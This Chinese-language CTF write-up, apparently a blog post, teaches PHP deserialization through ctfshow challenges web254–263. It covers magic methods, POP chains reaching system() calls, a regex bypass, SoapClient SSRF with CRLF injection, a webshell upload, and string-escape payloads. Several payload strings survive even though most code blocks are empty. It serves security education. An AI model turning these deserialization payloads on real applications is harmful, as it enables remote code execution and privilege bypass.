web入门反序列化篇-ctfshow
反序列化
知识点:
序列化(Serialization)
是将数据结构或对象转换成一种可存储或可传输格式的过程。在序列化后,数据可以被写入文件、发送到网络或存储在数据库中,以便在需要时可以再次还原成原始的数据结构或对象。序列化的过程通常涉及将数据转换成字节流或类似的格式,使其能够在不同平台和编程语言之间进行传输和交换。
反序列化(Deserialization)
是序列化的逆过程,即将序列化后的数据重新还原成原始的数据结构或对象。反序列化是从文件、网络数据或数据库中读取序列化的数据,并将其转换回原始形式,以便在程序中进行使用和操作。
反序列化的过程中,unserialize()接收的值(字符串)可控
通过更改这个值,得到所需要的代码
通过调用方法,触发代码执行
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。
序列化存储格式
php
序列化的存储格式是json
,我们来理解一下这个字符串的格式
首先利用serialize
生成一个字符串
1 |
|
O:2:"me"
表示这个是一个对象且类名为me
,3
表示该类有三个属性s:4:"name";s:3:"meng";
表示第一个属性为字符串,且属性名为name
,属性值为字符串,属性内容为`meng
一般的序列化字符串的格式是
1 | 变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容} |
常见的类型标志
符号 | 类型描述 |
---|---|
a | array 数组型 |
b | boolean 布尔型 |
d | double 浮点型 |
i | integer 整数型 |
o | common object 共同对象 |
r | object reference 对象引用 |
s | non-escaped binary string 非转义的二进制字符串 |
S | escaped binary string 转义的二进制字符串 |
C | custom object 自定义对象 |
O | class 对象 |
N | null 空 |
R | pointer reference 指针引用 |
U | unicode string Unicode 编码的字符串 |
那么我们如果得到一个序列化字符串如何快速的得到原来的内容呢,这就是反序列化了!
1 |
|
那么我们就得到了这个字符串是如何序列化而来,并且也确实像前面说的一样起到了存储数据的功能
成员
分为成员属性和成员方法
成员属性
- 属性是类中的变量,用于存储类的状态或数据。
- 它们可以是基本数据类型(如整数、浮点数、字符串等),也可以是其他对象或类的实例。
- 属性通常通过访问控制修饰符(如
public
、protected
、private
)来定义其访问权限。
成员方法(function)
- 方法是类中的函数,用于执行特定的操作或计算。
- 它们可以访问和修改类的属性,也可以执行其他逻辑操作。
- 方法同样可以通过访问控制修饰符来定义其访问权限。
访问控制修饰符
public(公有属性)
protected(受保护的)
private(私有的)
接下来我们分开去解释一下这三种修饰符
public(公有属性)
- 成员可以在类的内部、外部以及任何继承的子类中被访问。
- 默认情况下,如果没有指定访问控制修饰符,成员会被视为
public
protected(受保护的)
- 成员只能被类的内部、子类以及同一个命名空间内的其他类访问,但不能被类的外部访问。
- 适用于需要在子类中重写的成员。
private(私有的)
- 成员只能被类的内部访问,不能被子类或类的外部访问。
- 适用于不希望被子类继承或外部访问的成员。
为了更好的区分这三种修饰符,我们来举个例子
1 |
|
分别设置三种不同的属性,然后将生成的文件放到010中看一下16进制解析
1 | O:2:"my":3:{s:4:"name";s:4:"meng";s:6:"*age";s:2:"19";s:12:"mylanguage";s:2:"CN";} |
这是得到的序列化后的字符串
但因为三种修饰符不一样,得出来的属性长度和属性名都发生了变化
1 | public: |
总结来说就是
1 | public(公有) |
介绍完修饰符,我们接下来看看php反序列化中最重要的魔术方法
魔术方法
__construct() | 构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作 |
---|---|
__destruct() | 析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行 |
__toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串 |
__wakeup() | 调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。 |
__sleep() | 调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误 |
__call() | 在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
那我们来逐个介绍一下
__construct()构造方法
构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作
声明格式:
1 | function __construct([参数列表]){ |
使用构造方法时的注意事项:
1、在同一个类中只能声明一个构造方法,原因是,PHP不支持构造函数重载。
2、构造方法名称是以两个下画线开始的__construct()
举个例子
1 |
|
创建对象时被调用并且其中的初始化赋值会直接覆盖最初的赋值
__destruct()析构方法
析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
显式销毁对象(如使用
unset()
函数)时,__destruct()
会被立即调用。脚本执行结束时,PHP 会自动销毁所有对象,触发
__destruct()
方法。析构方法的声明格式
1
2
3
4function __destruct()
{
//方法体
}举个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class me{
public $name="men";
public $age="18";
public $languages="EN";
function __construct($name="meng",$age="19",$languages="CN"){
$this->name=$name;
$this->age=$age;
$this->languages=$languages;
echo "__construct被调用\n";
}
function __destruct(){
echo "__destruct被调用";
}
}
$obj=new me();
echo serialize($obj);
echo "\n";
/*
__construct被调用
O:2:"me":3:{s:4:"name";s:4:"meng";s:3:"age";s:2:"19";s:9:"languages";s:2:"CN";}
__destruct被调用
*/析构方法的作用
1
一般来说,析构方法在PHP中并不是很常用,它属类中可选择的一部分,通常用来完成一些在对象销毁前的清理任务。
__toString()方法
当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串
注意:
1 | 此方法必须返回一个字符串,否则将发出一条 `E_RECOVERABLE_ERROR` 级别的致命错误。 |
警告:
1 | 不能在 __toString() 方法中抛出异常。这么做会导致致命错误。 |
举个例子:
1 |
|
可以看到,在类实例化成字符串后可以输出”__tostring被调用”,但我们将$obj序列化后就会报错显示这个函数必须返回一个字符串
__sleep()方法
调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
注意:
1 | __sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。 |
作用:
1 | __sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。 |
1 |
|
这个魔术方法就是用来控制那些属性可以被序列化,并且是先序列化一步执行
__call()方法
在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
该方法有两个参数,第一个参数 $function_name
会自动接收不存在的方法名,第二个 $arguments
则以数组的方式接收不存在方法的多个参数。
__call() 方法的格式:
1 | function __call(string $function_name, array $arguments) |
__call() 方法的作用:
- 为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。
- 该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。
举个例子
1 |
|
__callStatic()方法
当调用一个不存在的静态方法或者是不可访问的静态方法时,会触发
静态方法和动态方法的区别
静态方法和动态方法的区别就是,调用方式不同,我们上面所调用的方法都是动态方法,而静态方法是直接利用类名来调用的而不是对象
举个例子
1 |
|
种就是静态方法的调用,而我们如何去触发这个魔术方法也很简单
1 |
|
__get()方法
读取不可访问或者是不存在的属性时触发,用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
举个例子:
1 |
|
__set()方法
将数据写入不可访问或者不存在的属性,即设置一个类的成员变量,也就是说赋值时触发
举个例子:
1 |
|
__isset()方法
在不可访问的属性上调用isset()或empty()时触发
isset()函数
isset()
是测定变量是否设定用的函数,传入一个变量作为参数,如果传入的变量存在则传回true,否则传回false。
分两种情况,如果对象里面成员是公有的,我们就可以使用这个函数来测定成员属性,如果是私有的成员属性,这个函数就不起作用了,原因就是因为私有的被封装了,在外部不可见。但你只要在类里面加上一个__isset()
方法就可以在对象的外部使用这个函数了,当在类外部使用isset()
函数来测定对象里面的私有成员是否被设定时,就会自动调用类里面的__isset()
方法了帮我们完成这样的操作。
举个例子
1 |
|
__unset()方法
使用 unset()
删除一个不存在或不可访问的属性时,__unset()
方法会被调用。
这里自然也是分两种情况:
1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。
2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。
同样如果你在一个对象里面加上__unset()
这个方法,就可以在对象的外部去删除对象的私有成员属性了。在对象里面加上了__unset()
这个方法之后,在对象外部使用“unset()”函数删除对象内部的私有成员属性时,对象会自动调用__unset()
函数来帮我们删除对象内部的私有成员属性。
举个例子
1 |
|
__invoke()方法
当你尝试将一个对象像函数一样调用时,__invoke()
会被触发。
注意:
1 | 本特性只在 PHP 5.3.0 及以上版本有效。 |
1 |
|
接下来我们讲一下一个特别的魔术方法
__wakeup()方法
调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。
正常来说wakeup
魔术方法会先被触发,然后再进行反序列化
1 |
|
由此可见__wakeup方法可以修改属性的值
反序列化攻击原理
1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。
(2)我们在反序列化攻击的时候也就是依托类属性进行攻击
因为没有序列化方法,我们只有类的属性可以达到可控,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击
web254
考点:认识基本的类,方法,属性等的定义方法
查看题目
1 | class ctfShowUser{ #定义一个类 |
解析代码如图
在login
方法内部,会检查传入的用户名和密码是否强等于赋值给user的类中的用户名和密码,如果等于就会给isVip的值换成true,
由于这里的user是固定的,所以username和password是一样的
所以我们只需要把我们传入的用户名和密码等于存储的公开属性的用户名和密码就可以通过验证了
?username=xxxxxx&password=xxxxxx
web255
学习unserialize()反序列函数
1 | class ctfShowUser{ |
unserialize()函数
unserialize 将字符串还原成原来的对象,用于将已经序列化(serialized)的字符串或数据恢复成 PHP 的值或对象。序列化是将数据结构或对象状态转换为可存储或传输的格式(通常是字符串)的过程,而反序列化(即 unserialize()
的功能)则是这个过程的逆操作。
$user = unserialize($_COOKIE[‘user’])—这行代码时它意味着开发者正在从用户的浏览器发送回来的cookie中读取一个名为 'user'
的值,并且尝试将这个值从序列化(serialized)的格式转换回其原始的 PHP 值或对象(反序列化)。
可以看到,由于这三个属性是公开属性,是我们可以更改的,代码中没有可以将isVip属性的值设置为true的地方,所以我们需要自己将这个属性设置为true,然后进行序列化,将序列化后的值用cookie方式传入
这里注意一下要进行反序列化后要进行url编码,不然传入的cookie值没有用
poc:
1 |
|
输出user的值:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
因为还存在login
函数,需要我们传入的属性的值和反序列化后的赋值相同,所以方便点我们传入的username
和password
还是正常为xxxxxx
就行
把username和password通过GET传入,把user通过cookie传入,就可以拿到flag了
web256
1 | class ctfShowUser{ |
在vipOneKeyGetFlag()中多加了一个判断句
if($this->username!==$this->password)–意思是传入的username和password不能一样,无论是值还是类型
!==
运算符:这是PHP中的“全等不等于”运算符。它不仅比较两个值是否不相等,还比较它们的类型是否不同。如果两个值不相等且类型也不同,则表达式的结果为true
;否则为false
。
所以只要让username和password的值不一样就行了
poc:
1 |
|
web257
这里有两个魔术方法
_construct 创建对象
_destruct 删除对象
_construct()魔术方法
在PHP中,__construct()
是一个特殊的魔术方法(magic method),它会在对象被创建时自动调用
触发条件:在类实例化对象时自动调用构造函数
作用:初始化函数,对类进行初始化,同时也可以执行其它语句
1 |
|
_destruct()魔术方法
__destruct()
函数是 PHP 中的一个魔术方法(magic method),它会在一个对象不再被使用时,或者脚本执行结束时,自动被调用。
触发条件:对象引用完成,或对象被销毁
作用:执行清理工作
1 |
|
学完知识点,我们回过头来分析代码:
1 | class ctfShowUser{ |
如果我们想得到flag,就需要利用backdoor这个类的getInfo函数,code这个私有属性储存着我们要执行的命令,触发getInfo的方法在ctfShowUser这个类中,我们可以利用他的__destruct函数来触发在创建对象时类的__getInfo()函数,所以我们可以通过ctfShowUser的__construct魔术方法来创建backdoor对象,然后因为$user会经过一次反序列化,这个反序列化会触发destruct函数,因此可以触发getinfo的方法
所以我们这里就需要构造POP链了
POP链
在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),
所以在php反序列化中有一种漏洞利用方法叫”面向属性编程“,
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload
POP链的基本思路是,通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的。这条“链”是由多个对象序列化数据组成的,每个对象都包含着下一个对象的引用。当程序反序列化第一个对象时,就会自动解析其中的引用,并继续反序列化下一个对象,以此类推,最终执行攻击者希望执行的代码。
所以我们用构造POP链:
1 | ctfShowUser::__construc->ctfShowUser::__destruct->>backDoor::__getInfo |
exp:
1 |
|
先查看目录找到flag文件
然后再把code中的system中的命令改一下再传进去就可以拿到flag了
web258
1 | class ctfShowUser{ |
增加了对user的正则匹配,过滤掉了[oc]:\d+:/i
- **
oc
**:匹配字符o
或c
- :**
\d+
**:冒号后面跟着一个或多个数字(\d+
),再跟一个冒号。这表示匹配的格式为o:数字:
或c:数字:
。 - **
:
**(再次出现):与前面的冒号相同,这个冒号也是作为普通字符出现的,表示要匹配的文本中数字后面必须再跟一个冒号。
所以o:+数字:或者c:+数字:都是会被过滤的
既然这样那我们先看看我们原来的实例化对象序列化后有没有这两种字符串
1 |
|
输出后得到
O:11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:8:”backDoor”:1:{s:4:”code”;s:13:”system(“ls”);”;}}
可以看到有应该O:11:和O:8:,那我们给他在数字前面加个加号就可以了
所以我们给数字加上+
来绕过。
为什么是用加号,实验得出来的,+11和11序列化后的结果都是一样的
修改后的exp(记得先修改再进行序列化)
1 |
|
(这道题的属性跟上一题不一样,记得把属性也改一下,我就是因为忘记改了结果一直没跑出来)
后面把命令改一下再放进去就行了
重点:web259
index.php
1 |
|
提示中也有一段代码:
flag.php
1 | $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);#_SERVER['HTTP_X_FORWARDED_FOR'] 中的字符串按照逗号(,)分割成一个数组,并将这个数组赋值给变量 $xff。 |
对上面的代码加以解释
explode()函数
explode()
函数是 PHP 中用于将字符串按照指定的分隔符分割成数组的内置函数
array_pop函数
array_pop()
是 PHP 中的一个数组函数,它用于移除数组中的最后一个元素并返回该元素的值。这个函数会修改原始数组,使其少了最后一个元素。
1 | $fruits = array("apple", "banana", "orange"); |
刚开始看这道题的时候也是一点办法都没有,因为这里一个类也没有,也不知道怎么构造pop链,然后就去看了wp,由于源代码中没有出现任何的类和getflag方法,我们需要调用一个不存在的方法,这时可以想到触发__call魔术方法。这里观察代码明显发现并没有相关的类可以利用,所以想到利用原生类进行反序列化利用。发现这里考的是PHP原生类,那我们就先了解一下知识点
PHP原生类
在PHP中,反序列化是一个常见的安全问题,特别是当代码中存在反序列化的功能点,但无法构造出完整的POP链时。这时,可以尝试利用PHP的原生类来破解。PHP的一些原生类中内置了魔术方法,如果能够巧妙地构造可控参数并触发这些魔术方法,就可能达到预期的目的。
SoapClient 类
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
1 | public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) |
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
_call()魔术方法
当调用不存在或不可见的成员方法时,PHP会先调用__call()
方法来存储方法名及其参数。
__call(string $function_name, array $arguments)
该方法有两个参数,第一个参数 $function_name
会自动接收不存在的方法名,第二个 $arguments
则以数组的方式接收不存在方法的多个参数。
所以我们需要利用SoapClient原生类来构造SSRF(用服务器本身请求服务器),并利用CRLF来构造数据包。
那什么是SSRF呢?
SSRF攻击
SSRF(Server-Side Request Forgery)指的是服务器端请求伪造攻击,是一种由攻击者构造请求,利用存在缺陷的Web应用作为代理,让服务端发起请求的安全漏洞。
SSRF攻击的基本原理在于攻击者利用服务器作为代理来发送请求。攻击者首先寻找目标网站中可以从服务器发出外部请求的点,比如图片加载、文件下载、API请求等功能。随后,攻击者通过向这些功能提交经过特别构造的数据(如修改URL或参数),诱使服务器向攻击者控制的或者内部资源发送请求。此时,服务器充当了攻击者与目标之间的“桥梁”,攻击者可以通过它来接触和操作内部服务,绕过安全限制。
SSRF攻击的类型
- 内部SSRF:攻击者利用漏洞与应用程序的后端或内部系统交互。这种情况下,攻击者可能试图访问数据库、HTTP服务或其他仅在本地网络可用的服务。
- 外部SSRF:攻击者利用漏洞访问外部系统。攻击者可能构造恶意的URL,利用Web应用程序的代理功能或URL处理机制,向存在漏洞的服务器发送请求,以获取外部网络资源或执行其他恶意操作。
SSRF出现的根本原因
由于服务端提供了从其他服务器应用获取数据的功能而且没有对目标地址做过滤与限制。
也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我们构造好访问包,那就有可能利用目标服务对他的其他服务器应用进行调用。
那什么是CRLF呢?
CRLF攻击
CRLF攻击,全称Carriage Return Line Feed攻击,是一种利用CRLF字符(回车换行符,即\r\n
)的安全漏洞进行的攻击方式
CRLF字符的作用
- CRLF字符是两个ASCII字符,回车(Carriage Return,
\r
)和换行(Line Feed,\n
)的组合。 - 在许多互联网协议中,包括HTTP、MIME(电子邮件)和NNTP(新闻组)等,CRLF字符被用作行尾(EOL)标记,以分隔文本流中的不同部分。
CRLF攻击的原理
CRLF攻击利用了HTTP协议中换行符的漏洞。HTTP协议规定,每个报文的头部信息的行结束必须是CRLF字符。
攻击者通过在恶意输入中插入CRLF字符,可以改变HTTP报文的格式,从而绕过一些安全机制。
具体来说,攻击者可以在HTTP请求中的参数值中插入CRLF字符,使得服务器在解析请求时将参数值误认为是HTTP头部的一部分。这样一来,攻击者就可以利用这个漏洞进行一系列攻击,如HTTP响应拆分攻击、HTTP响应劫持攻击等。
通过CRLF注入,攻击者可以在HTTP响应中插入额外的头部信息或修改现有的头部信息,从而控制响应的内容或行为。
了解完基本知识点,那就开始做题吧
由于源代码中没有出现任何的类和getflag方法,我们需要调用一个不存在的方法,这时可以想到触发__call魔术方法,而soapclient原生类中有_call魔术方法,所以我们需要调用soapclient原生类来构造SSRF(用服务器本身请求服务器),并利用CRLF字符来构造数据包。
exp:
1 |
|
通过GET传入vip的参数值,然后访问flag.txt就可以拿到flag了
web260
1 | if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ |
看题目的关键代码
这里对传入的ctfshow参数进行序列化后做了一个正则匹配
因为ctfshow_i_love_36D序列化后是s:18:”ctfshow_i_love_36D”; 里面是有ctfshow_i_love_36D的
所以正常传入ctfshow_i_love_36D就可以拿到flag了。
web261
1 | class ctfshowvip{ |
又出现了几个新的魔术方法
__wakeup()魔术方法
调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。
正常来说wakeup
魔术方法会先被触发,然后再进行反序列化
__invoke()魔术方法
当你尝试将一个对象像函数一样调用时,__invoke()
会被触发。
__sleep()魔术方法
调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。
exp:
1 |
|
将序列化后的字符串传入vip,接着访问877 .php,再进行蚁剑连接就行了
web262
这里就是字符串逃逸了
字符串逃逸
这个可谓是常用的姿势了,那么原理是什么呢,为什么要逃逸字符串呢
引子
在php中,反序列化的过程必须严格按照序列化规则才能实现反序列化
举个例子
1 |
|
一般情况下,按照我们的正常理解,上面例子中变量
$str
是一个标准的序列化后的字符串,按理来说改变其中任何一个字符都会导致反序列化失败。但事实并非如此。如果在$str
结尾的花括号后加一些字符,输出结果是一样的。<?php $str='O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";i:3;s:5:"token";s:4:"user";}123'; var_dump(unserialize($str)); ?> #输出结果依然和上面的相同
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
- 这说明了反序列化的过程是有一定识别范围的,在这个范围之外的字符(如花括号外的abc)都会被忽略,不影响反序列化的正常进行
#### php反序列化的几大特性
1.php在反序列化时,底层代码是以`;`作为字段的分隔,以`}`作为结尾,并且是**根据长度判断内容** ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
- 注意点,很容易以为序列化后的字符串是`;}`结尾,实际上字符串序列化是以`;}`结尾的,但对象序列化是直接`}`结尾
- php反序列化字符逃逸,就是通过这个结尾符实现的
2.当长度不对应的时候会出现报错
#### 反序列化字符逃逸
反序列化之所以存在字符串逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少
##### 字符增多
```php
<?php
function filter($str){
return str_replace('x','yy',$str);
}
$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);
$str1 = filter(serialize($user));
//$str2 = filter($_GET['user']);
echo $str1."\n";
var_dump(unserialize($str1));
//var_dump(unserialize($str2));
?>
/*
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}
array(2) {
[0]=>
string(6) "mikasa"
[1]=>
string(6) "biubiu"
}
*/
问:如果我能控制进行反序列化的字符串,该如何使var_dump打印出来的password对应的值是123456
,而不是biubiu
?
- 正常情况下反序列化字符串**$str1**的值为
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}
那么把username的值变为mikasaxxx
,当完成序列化,filter函数处理后的结果为
1 | a:2:{i:0;s:9:"mikasayyyyyy";i:1;s:6:"biubiu";} |
替换成功了,但因为多出来三个字符所以反序列化失败了
- 所以,可以利用多出来的字符串做一些坏事?
想要password是123456
,反序列化化前的字符串要是 a:2:{i:0;s:6:"mikasa";i:1;s:6:"123456";}
如果说我们输入的是
a:2:{i:0;s:26:”mikasa”;i:1;s:6:”123456”;}”;i:1;s:6:”biubiu”;}
多出的字段是 “;i:1;s:6:”123456”;} 数一下是20个字符,
一个x会导致多出一个字符,所以加上20个x,”;i:1;s:6:”biubiu”;}部分的内容会被当作无效部分被忽略
所以最终输入是
a:2:{i:0;s:46:”mikasaxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456”;}”;i:1;s:5:”aaaaa”;}
filter之后,会变为
a:2:{i:0;s:46:”mikasayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy”;i:1;s:6:”123456”;}”;i:1;s:5:”aaaaa”;}
字符减少
1 |
|
问:如果我能控制进行反序列化的字符串,该如何使var_dump打印出来的password对应的值是123456
,而不是biubiu
?
正常情况下反序列化字符串**$str1**的值为 a:2:{i:0;s:6:”mikasa”;i:1;s:6:”biubiu”;}
那么把username的值变为mikasaxxxxxx,当完成序列化,filter函数处理后的结果为
1 | a:2:{i:0;s:12:"mikasayyy";i:1;s:6:"biubiu";} |
因为比之前少了三个字符,反序列化时肯定是会失败的,mikasayyy的长度为9,还会继续往后吞3个字符!但这样会造成语法错误!
所以,是否可以利用变化的字符长度做一些坏事?(吞掉原有的password值,再添加新值!)
构建的注入表达式是(吞)
a:2:{i:0;s:?:”mikasa”;i:1;s:5:”biubiu”;}“;i:1;s:6:”123456”;}
所以要吞掉的内容是”;i:1;s:5:”biubiu”;} 一共是20个字符!所以需要添加40个x
所以最终的输入时
a:2:{i:0;s:46:”mikasaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”;i:1;s:5:”biubiu”;}“;i:1;s:6:”123456”;}
filter之后,会变为
a:2:{i:0;s:46:”mikasayyyyyyyyyyyyyyyyyyyy”;i:1;s:5:”biubiu”;}“;i:1;s:6:”123456”;}
总结
- 当字符增多:在输入的时候再加上精心构造的字符。经过过滤函数,字符变多之后,就把我们构造的给挤出来。从而实现字符逃逸
- 当字符减少:在输入的时候再加上精心构造的字符。经过过滤函数,字符减少后,会把原有的吞掉,使构造的字符实现代替
题目
1 | error_reporting(0); |
setcookie(‘msg’,base64_encode($umsg)); echo ‘Your message has been sent’;
- PHP 的
setcookie()
函数被用来设置一个名为msg
的 cookie,其值是对变量$umsg
进行 Base64 编码后的结果。接着,页面向用户显示一条消息:“Your message has been sent”。
可以在注释中看到有一个message.php文件,访问一下
1 | include('flag.php'); |
正常来说,这里只有from,msg,to传递值,即这三个属性是可控的
1 |
|
题目告诉我们我们需要将tooken改成admin才能拿到flag,那就用字符串逃逸试试
首先要知道这里是将fuck
修改成了loveU
,由4个字符长度,变成了5个,长度发生了变化,导致了反序列化字符串结构改变。
那我们测试一下
1 |
|
可以看到这里的fuck被换成了loveU,所以我们在原来的字符串上加入我们想要改的
O:7:”message”:4:{s:4:”from”;s:1:”1”;s:3:”msg”;s:1:”2”;s:2:”to”;s:1:”3”;s:5:”token”;s:5:”admin”;}”;s:5:”token”;s:4:”user”;}
算一下我们添加的字符串有27个字符,已知一个fuck会换成一个loveU,多出来一个字符,所以我们需要构造27个fuck进行字符串逃逸
1 |
|
输出的字符串是:
O:7:”message”:4:{s:4:”from”;s:1:”1”;s:3:”msg”;s:1:”2”;s:2:”to”;s:136:”3loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU”;s:5:”token”;s:5:”admin”;}”;s:5:”token”;s:4:”user”;}
因为多出了27个字符,所以后面的”;s:5:”token”;s:4:”user”;}部分的内容会被当作无效部分被忽略
构造payload通过get传入就行了
还有第二种解法也就是非预期解
非预期解
直接通过构造一个construct()魔术方法将token的值改成admin,然后将的出来的序列化字符串编码后通过cookie传入就可以拿到flag了
web263
是一个登录界面
账号密码都写1 试试,结果显示登录错误
抓个包看看
发现cookie那有PHPSESSID,判断应该是session反序列化
那就先介绍一下知识点
session反序列化
讲到session反序列化,我们需要先了解什么是session
概念
session
Session
一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里我们讲一下PHP session机制
PHP session
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session
值会存储于服务器端,这也是与 cookie
的主要区别,所以seesion
的安全性相对较高。
那我们为什么要用session呢?
我们访问网站的时候使用的协议是http或者https,但是http是一种无状态协议,是没有记忆的,也就是说,每次请求都是独立的,服务器不会记得上一次请求的信息,所以session能用来弥补这个缺点,帮助服务器跟踪用户状态
那session是通过什么来跟踪的呢?这里就用到了sessionID 生成与存储了
当我们首次访问一个网站的时候,此时会话就开始了,就会产生一个独一无二的ID,然后产生了cookie,cookie
是一个缓存用于一定时间的身份验证,在同一域名下面是全局的,所以说在同一域名下的页面都可以访问到cookie
,但是大家都知道cookie
我们是可以进行修改的,所以cookie
和session
有本质的不同
